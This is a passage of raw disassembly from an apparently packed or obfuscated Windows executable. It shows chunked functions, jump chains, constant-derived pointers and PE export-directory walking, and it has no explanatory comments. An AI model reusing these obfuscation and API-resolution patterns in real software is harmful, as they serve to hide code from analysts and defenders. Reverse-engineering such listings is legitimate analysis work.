; =============== S U B	R O U T	I N E =======================================



sub_40E562	proc near		; CODE XREF: sub_40D740:loc_40D98Cp

; FUNCTION CHUNK AT 00409575 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004098AE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00409EF2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B352 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B83D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BCB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BE86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C8D1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040FE0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004102BD SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi
		push	0D89AB1A4h
		pop	edx
		add	edx, ds:4000B8h
		jmp	loc_40B352
sub_40E562	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E577	proc near		; DATA XREF: sub_40988C+2334o
		add	eax, ebp
		add	eax, 8D98C834h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_409F25


loc_40E58A:				; CODE XREF: sub_40D740+230j
					; sub_409627:loc_40DA03j ...
		jmp	loc_40BB5B
sub_40E577	endp

; ---------------------------------------------------------------------------
		jmp	loc_409F25
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		jmp	sub_40A259
; ---------------------------------------------------------------------------


loc_40E59B:				; DATA XREF: sub_40A6BB+Eo
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40B4C6
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_40E5A4:				; CODE XREF: sub_40E786+20j
		jmp	loc_40D9A1
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------


loc_40E5A9:				; CODE XREF: o45kw3t9:00410042j
		sub	al, 99h
		push	offset loc_40BE6F


loc_40E5B0:				; CODE XREF: o45kw3t9:loc_40DEF7j
		jmp	loc_4094AF
; ---------------------------------------------------------------------------


loc_40E5B5:				; DATA XREF: sub_40EC83-28D0o
		push	eax
		push	ebx
		push	0F310C850h
		pop	ebx
		add	ebx, 0D2FF8CDh
		xchg	ebx, [esp]
		jmp	loc_410012
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40942A


loc_40E5CB:				; CODE XREF: sub_40942A+5j
		mov	eax, [eax]
		add	eax, [ebp-4]


loc_40E5D0:				; CODE XREF: sub_409600:loc_40C34Aj
		add	eax, 5
		cmp	eax, ds:dword_40F1D4
		jz	loc_40D8D0
		call	sub_40C60C


loc_40E5E4:				; CODE XREF: sub_40C433-425j
		jmp	loc_40C338
; END OF FUNCTION CHUNK	FOR sub_40942A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40E5E9:				; CODE XREF: sub_40FE86-6946j
		jnb	loc_40D284
		adc	eax, 0DB054BDAh
		sbb	edx, ebx
		jmp	loc_40BBF2
; END OF FUNCTION CHUNK	FOR sub_40FE86
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E5FD:				; CODE XREF: o45kw3t9:0040B5ACj
		jmp	locret_40E976
; ---------------------------------------------------------------------------


loc_40E602:				; CODE XREF: o45kw3t9:loc_409AE6j
		jz	loc_40EB76
		jmp	loc_40CB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40E60D:				; CODE XREF: sub_40EFF0-8EAj
		jz	loc_40C3F9
		jmp	loc_40A1F2
; END OF FUNCTION CHUNK	FOR sub_40EFF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; DATA XREF: sub_40909E:loc_40ABC3o

; FUNCTION CHUNK AT 0040E22B SIZE 0000001F BYTES

		push	ebp


loc_40E619:				; CODE XREF: o45kw3t9:loc_40CF94j
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_40E438, 0
		jmp	loc_40E22B
sub_40E618	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F039


loc_40E628:				; CODE XREF: sub_40F039:loc_40C716j
		call	sub_40C365
		cmp	eax, [ebp-8]
		jnz	loc_40C354
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		call	sub_409597


loc_40E641:				; CODE XREF: o45kw3t9:0040EA57j
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_40F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D179


loc_40E646:				; CODE XREF: sub_40D179+7j
		jmp	loc_40A267
; END OF FUNCTION CHUNK	FOR sub_40D179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7B1


loc_40E64B:				; CODE XREF: sub_40B7B1+16j
		jmp	sub_40E858
; END OF FUNCTION CHUNK	FOR sub_40B7B1

; =============== S U B	R O U T	I N E =======================================



sub_40E650	proc near		; CODE XREF: sub_40FE86-1EE1p
		mov	[esp+0], eax
		call	sub_40CDE3


loc_40E658:				; CODE XREF: o45kw3t9:0040BB52j
		jmp	loc_40A26A
sub_40E650	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E65D	proc near		; DATA XREF: sub_40928F+5ECCo

; FUNCTION CHUNK AT 00409243 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C5C1 SIZE 0000000B BYTES

		or	eax, eax
		jnz	loc_40C5C1
		mov	eax, 0DD960900h
		push	ecx
		jmp	loc_409243
sub_40E65D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	eax, esi
		jmp	loc_40D0B2

; =============== S U B	R O U T	I N E =======================================



sub_40E677	proc near		; CODE XREF: o45kw3t9:0040CE75p
					; o45kw3t9:0040DBFCj
		xchg	edi, [esp+0]


loc_40E67A:				; CODE XREF: o45kw3t9:0040CBEBj
		pop	edi
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_40BDCC
		call	sub_40F1C0
sub_40E677	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40C030


loc_40E68D:				; CODE XREF: sub_40C030+6j
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_40C030

; =============== S U B	R O U T	I N E =======================================



sub_40E692	proc near		; CODE XREF: o45kw3t9:0040ABB3j
					; sub_40D740+1BFp

; FUNCTION CHUNK AT 0040A600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B4C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B757 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C891 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D5D6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040FF55 SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40B4C1
		jmp	loc_40A600
sub_40E692	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40E6A5:				; CODE XREF: sub_40A742:loc_409876j
		jnz	loc_409F57
; END OF FUNCTION CHUNK	FOR sub_40A742
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40E6AB:				; CODE XREF: sub_40B5CB:loc_40C013j
		add	ecx, 9628D6DEh
		xchg	edx, [eax]
		xor	ecx, 48CB869Ah
		shl	edx, 13h
		jmp	loc_409F57
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B745


loc_40E6C1:				; CODE XREF: sub_40B745:loc_40AB49j
		mov	[ebp-1Ch], eax
		push	offset sub_40CB20
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_40B745
; ---------------------------------------------------------------------------


loc_40E6CE:				; CODE XREF: o45kw3t9:0040F150j
		push	offset sub_40E0CA
		jmp	locret_40BD27
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40E6D9:				; CODE XREF: sub_40EABC+1616j
		ror	eax, 5
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40E6DE:				; CODE XREF: sub_40B3E5+2903j
		jmp	loc_40C909
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40E6E3:				; CODE XREF: sub_40BC53-18B6j
					; sub_40A259+1CABj
		jmp	loc_40996F
; END OF FUNCTION CHUNK	FOR sub_40A259

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E6E8	proc near		; CODE XREF: sub_409C62+4797j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004091FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A946 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040BA80 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040C403 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C49C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040D301 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040E271 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040FE30 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410314 SIZE 0000001D BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_40E271
sub_40E6E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40E6F0:				; CODE XREF: o45kw3t9:0040C74Dj
		mov	ecx, [ebx]
		jnb	loc_40DFB9
		jmp	loc_40C3F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40E6FD:				; CODE XREF: sub_40EFF0+Ej
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40E60D
; END OF FUNCTION CHUNK	FOR sub_40EFF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE3B


loc_40E70B:				; CODE XREF: sub_40AE3B:loc_409949j
		pop	ebx


loc_40E70C:				; CODE XREF: sub_40CD2E+7j
		lea	eax, [ebp-14h]
		xor	edx, edx
		push	edi
		push	0CDCED7E9h
		pop	edi
		jmp	loc_40EA1A
; END OF FUNCTION CHUNK	FOR sub_40AE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409263


loc_40E71D:				; CODE XREF: sub_409263+17j
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_40926C
		retn
; END OF FUNCTION CHUNK	FOR sub_409263
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40E72A:				; CODE XREF: sub_40D32E-C87j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_40E740
		add	dword ptr [ebp-8], 4
		jmp	loc_40D582
; ---------------------------------------------------------------------------


loc_40E740:				; CODE XREF: sub_40D32E+1403j
		add	dword ptr [ebp-8], 2
		jmp	loc_40A028
; END OF FUNCTION CHUNK	FOR sub_40D32E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E749	proc near		; CODE XREF: sub_40A382+35Bp
					; sub_40C1A5+4p
		push	ebp
		mov	ebp, esp
		jmp	sub_40A467
sub_40E749	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCEE


loc_40E752:				; CODE XREF: sub_40DCEE+12j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_409AFA
; END OF FUNCTION CHUNK	FOR sub_40DCEE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_40D569
		jmp	loc_40EA8C

; =============== S U B	R O U T	I N E =======================================



sub_40E76D	proc near		; CODE XREF: o45kw3t9:0040D011j
					; sub_40909E:loc_4100AEp

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B8E2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040CF33 SIZE 00000005 BYTES

		xchg	ebx, [esp+8+var_8]
		pop	ebx
		add	dword ptr [esp+0], 0DCBAA94Ah
		push	0


loc_40E77A:				; CODE XREF: sub_40E562:loc_40B83Dj
		lea	eax, [ebp-100h]
		push	eax
		jmp	loc_40CF33
sub_40E76D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E786	proc near		; DATA XREF: sub_40BFBB:loc_40B658o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004094CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AA77 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040B4BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C312 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040DAC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E5A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410106 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004101AB SIZE 0000000B BYTES

		mov	ecx, [ebx+3Ch]


loc_40E789:				; CODE XREF: sub_40D740:loc_40B139j
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_40A344
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		call	sub_40CB74


loc_40E7A0:				; CODE XREF: sub_40CA3C:loc_40AD9Dj
		jge	loc_40C312
		jbe	loc_40E5A4
		push	ebp
		jmp	loc_40C312
sub_40E786	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E7B2	proc near		; CODE XREF: o45kw3t9:0040ADFDj
					; sub_40D740+9Fp

; FUNCTION CHUNK AT 00409D5D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0040BDA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C56E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F124 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		js	loc_409D6F
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_40F1E8[eax*4]
		jmp	loc_40F124
sub_40E7B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	ebp, 0DDA2ECDCh
		jmp	sub_40B0D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40E7D9:				; CODE XREF: sub_40DA15+285Ej
		xor	eax, 94C3A5C9h
		add	eax, ebp
		add	eax, 6EEF41F3h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40E80B
		jmp	loc_40B207
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------

locret_40E7F7:				; CODE XREF: o45kw3t9:loc_4090C4j
		retn
; ---------------------------------------------------------------------------


loc_40E7F8:				; CODE XREF: o45kw3t9:0040A49Bj
		jmp	loc_409AAD
; ---------------------------------------------------------------------------


loc_40E7FD:				; DATA XREF: sub_40EABC:loc_40C0DFo
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40E80B
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40E806:				; CODE XREF: sub_409726:loc_40B207j
					; sub_409726+1DBDj ...
		jmp	loc_40A30E
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40E80B:				; CODE XREF: sub_40DA15+DD7j
					; o45kw3t9:0040E800j
		pop	ecx
		pop	ebp
		jmp	loc_40B706
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E812:				; CODE XREF: sub_40D740:loc_40D8A3j
		cmp	dword ptr [ebp-14h], 5
		setz	al
		call	sub_40BDCC
		pop	ecx
		jmp	loc_40E2D4
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40E824	proc near		; DATA XREF: o45kw3t9:0040FD06o
		call	sub_40A01C
		retn
sub_40E824	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4090F8


loc_40E82A:				; CODE XREF: sub_4090F8+1B31j
		jmp	loc_40EF27
; END OF FUNCTION CHUNK	FOR sub_4090F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD10


loc_40E82F:				; CODE XREF: sub_40BD10+E88j
		xor	eax, 5BB65E48h
		ror	eax, 13h
		jmp	loc_40EDA1
; END OF FUNCTION CHUNK	FOR sub_40BD10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40E83D:				; CODE XREF: sub_40D5BF:loc_40E0A4j
		jnz	loc_40D0A4
		jmp	loc_40FB29
; END OF FUNCTION CHUNK	FOR sub_40D5BF

; =============== S U B	R O U T	I N E =======================================



sub_40E848	proc near		; CODE XREF: sub_40EABC:loc_4093EEp
		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		rol	eax, 5
		mov	ds:dword_40E8D4, eax
		retn
sub_40E848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E858	proc near		; CODE XREF: sub_40D34B-2EE9j
					; sub_40A6F8+7Ep ...

; FUNCTION CHUNK AT 00409EED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6B5 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_409EED
sub_40E858	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DB3D


loc_40E860:				; CODE XREF: sub_40DB3D+Ej
		or	eax, eax
		jnz	loc_40E1BC
		jmp	loc_4101A0
; END OF FUNCTION CHUNK	FOR sub_40DB3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BC53


loc_40E86D:				; CODE XREF: sub_40BC53+18j
					; sub_40E7B2:loc_40BDA1j ...
		jo	loc_40A390
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_40B607
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		call	sub_40A382


loc_40E88E:				; CODE XREF: sub_40D740-13E0j
		jmp	loc_40B415
; END OF FUNCTION CHUNK	FOR sub_40BC53

; =============== S U B	R O U T	I N E =======================================



sub_40E893	proc near		; DATA XREF: o45kw3t9:0040B5A7o

; FUNCTION CHUNK AT 0040A1DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AE58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B01E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E0BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F9F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FC2C SIZE 0000000D BYTES

		pop	ebp
		push	5A1B9C82h
		pop	eax
		add	eax, 0A625335Eh
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_40F9F8
sub_40E893	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BDFD


loc_40E8A9:				; CODE XREF: sub_40BDFD:loc_40EC3Ej
		add	eax, 0AE87C192h
		mov	eax, [eax]
		mov	edx, [ebp-104h]
		mov	dl, [edx]
		mov	[ebp+eax-100h],	dl
		inc	dword ptr [ebp-108h]
		inc	dword ptr [ebp-104h]
		jmp	loc_40FA12
; END OF FUNCTION CHUNK	FOR sub_40BDFD
; ---------------------------------------------------------------------------
		db 1Ah,	0BEh, 0D5h
dword_40E8D4	dd 901F85EFh	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFFD


loc_40E8D8:				; CODE XREF: sub_40DFFD+Aj
		jmp	loc_40D2E6
; END OF FUNCTION CHUNK	FOR sub_40DFFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40E8DD:				; CODE XREF: sub_40909E+1B20j
		jmp	loc_40E245
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C8A6


loc_40E8E2:				; CODE XREF: sub_40C8A6-18C0j
		jz	loc_40C392
		jmp	loc_40B360
; END OF FUNCTION CHUNK	FOR sub_40C8A6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40E8EE:				; CODE XREF: sub_40D32E+1DE0j
		jmp	loc_40C6A0
; END OF FUNCTION CHUNK	FOR sub_40D32E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C298


loc_40E8F3:				; CODE XREF: sub_40C298+Ej
		cmp	ebp, 8C687047h
		jmp	loc_40AF90
; END OF FUNCTION CHUNK	FOR sub_40C298
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_40E8FE:				; CODE XREF: sub_409AD7:loc_409A27j
		jb	loc_40D44B
		add	eax, 726B38DFh
		jmp	sub_40D726
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40E90F:				; CODE XREF: sub_40EC83+20j
		jp	loc_40DFD7
; END OF FUNCTION CHUNK	FOR sub_40EC83

; =============== S U B	R O U T	I N E =======================================



sub_40E915	proc near		; CODE XREF: o45kw3t9:00409223p
		mov	[esp+0], edx
		pop	edx
		add	eax, 54C9E9F9h


loc_40E91F:				; CODE XREF: o45kw3t9:loc_40BF17j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A43F
		jmp	loc_410309
sub_40E915	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40E92F:				; DATA XREF: sub_40A474+9BDo
		push	eax
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40E930:				; CODE XREF: sub_40A3A2+1F20j
		rol	eax, 12h
		mov	ds:dword_40E42C, eax
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_40A3A2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E93E	proc near		; CODE XREF: sub_40C674:loc_40BF62j
					; sub_40D368j

; FUNCTION CHUNK AT 0040B012 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B698 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_40B012
sub_40E93E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40E946:				; CODE XREF: sub_409FA8+4F02j
		pop	esi
		push	eax
		push	offset sub_40C4CD
		jmp	loc_40CA9A
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8A6


loc_40E952:				; CODE XREF: sub_40A8A6:loc_40D021j
		push	offset loc_40B397
		jmp	loc_40EF33
; END OF FUNCTION CHUNK	FOR sub_40A8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0A6


loc_40E95C:				; CODE XREF: sub_40B0A6+7j
		mov	ebp, esp
		push	edx
		push	0DC5BC6B7h
		pop	edx
		or	edx, 0B84A00F1h
		cmp	edx, 0B5A5B5A0h
		jmp	loc_4090D7
; END OF FUNCTION CHUNK	FOR sub_40B0A6
; ---------------------------------------------------------------------------

locret_40E976:				; CODE XREF: o45kw3t9:loc_40E5FDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40E977:				; CODE XREF: sub_410069-4493j
		jmp	loc_40DFC2
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------


loc_40E97C:				; CODE XREF: o45kw3t9:0040BDF0j
		jnz	loc_40D65E
		jmp	loc_40CB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40E987:				; CODE XREF: sub_40B5CB:loc_40DC41j
		test	ebp, ebx
		jmp	loc_40ACBC
; END OF FUNCTION CHUNK	FOR sub_40B5CB

; =============== S U B	R O U T	I N E =======================================



sub_40E98E	proc near		; DATA XREF: sub_4102EB-4408o

; FUNCTION CHUNK AT 0040A518 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A693 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040C0B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D129 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D6B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040DD2E SIZE 00000007 BYTES

		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A693
		jmp	loc_40C0B6
sub_40E98E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E99E:				; CODE XREF: sub_40D740-1673j
		rol	edx, 4
		xor	ecx, esi


loc_40E9A3:				; CODE XREF: sub_40D740:loc_409131j
		and	edx, 20469E06h


loc_40E9A9:				; CODE XREF: sub_409FA8:loc_40AA0Cj
		xor	edx, 44E9ABEDh
		call	sub_40E858
		jmp	loc_4093F3
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40E9B9	proc near		; CODE XREF: o45kw3t9:0040C3ABj
					; sub_40D740+1Bp
		mov	[esp+0], edx


loc_40E9BC:				; CODE XREF: sub_40B5CB:loc_40A4FDj
		pop	edx
		add	dword ptr [ebp-8], 4
		jmp	loc_40D942
sub_40E9B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40E9C6:				; CODE XREF: sub_40D740:loc_40D755j
		add	dword ptr [ebp-8], 2
		jmp	loc_409D3A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40E9CF:				; CODE XREF: sub_40939B+18FBj
					; sub_40939B+2459j
		test	byte ptr [ebp-8], 20h
		jz	loc_40FBFC
		jmp	loc_40DC6F
; END OF FUNCTION CHUNK	FOR sub_40939B

; =============== S U B	R O U T	I N E =======================================



sub_40E9DE	proc near		; CODE XREF: o45kw3t9:0040B235p

; FUNCTION CHUNK AT 00409AF0 SIZE 0000000A BYTES

		mov	[esp+0], eax
		rol	eax, 0Dh


loc_40E9E4:				; CODE XREF: sub_40B18A+7j
		push	ecx
		push	9FAADE6Ch
		pop	ecx
		rol	ecx, 0Eh
		xor	ecx, 0DF0697EAh
		jmp	loc_409AF0
sub_40E9DE	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40E9FA:				; CODE XREF: o45kw3t9:0040E03Bj
		ror	eax, 18h
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_40E9FF:				; DATA XREF: sub_40CC20-1F30o
		or	eax, eax
		jnz	loc_40EA0F
		mov	eax, [esp]
		call	sub_4096AC
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40EA0F:				; CODE XREF: sub_40CC20-29D2j
					; o45kw3t9:0040EA01j
		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_40DE7A
; END OF FUNCTION CHUNK	FOR sub_40CC20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE3B


loc_40EA1A:				; CODE XREF: sub_40AE3B+38DDj
		jmp	loc_4093B0
; END OF FUNCTION CHUNK	FOR sub_40AE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B56D


loc_40EA1F:				; CODE XREF: sub_40B56D+9j
		jmp	loc_40D2D3
; END OF FUNCTION CHUNK	FOR sub_40B56D
; ---------------------------------------------------------------------------
		call	sub_40EFF0
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40EA29:				; CODE XREF: sub_40939B+686Cj
		jmp	loc_40D31D
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: o45kw3t9:0040BC09j
		jmp	loc_40BFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40EA33:				; CODE XREF: sub_40A551+2CB4j
		mov	[ebp-20h], eax


loc_40EA36:				; CODE XREF: sub_40A551+1C07j
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_4101FE


loc_40EA42:				; CODE XREF: o45kw3t9:0040C150j
		push	offset loc_409446
		jmp	loc_40C8E1
; END OF FUNCTION CHUNK	FOR sub_40A551

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40EA4C	proc near		; CODE XREF: sub_40FE92:loc_40A812j
		retn
sub_40EA4C	endp

; ---------------------------------------------------------------------------
		mov	edx, 0CB804A30h
		push	offset sub_40B7B1
		jmp	loc_40E641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40EA5C:				; CODE XREF: sub_40D740+3C9j
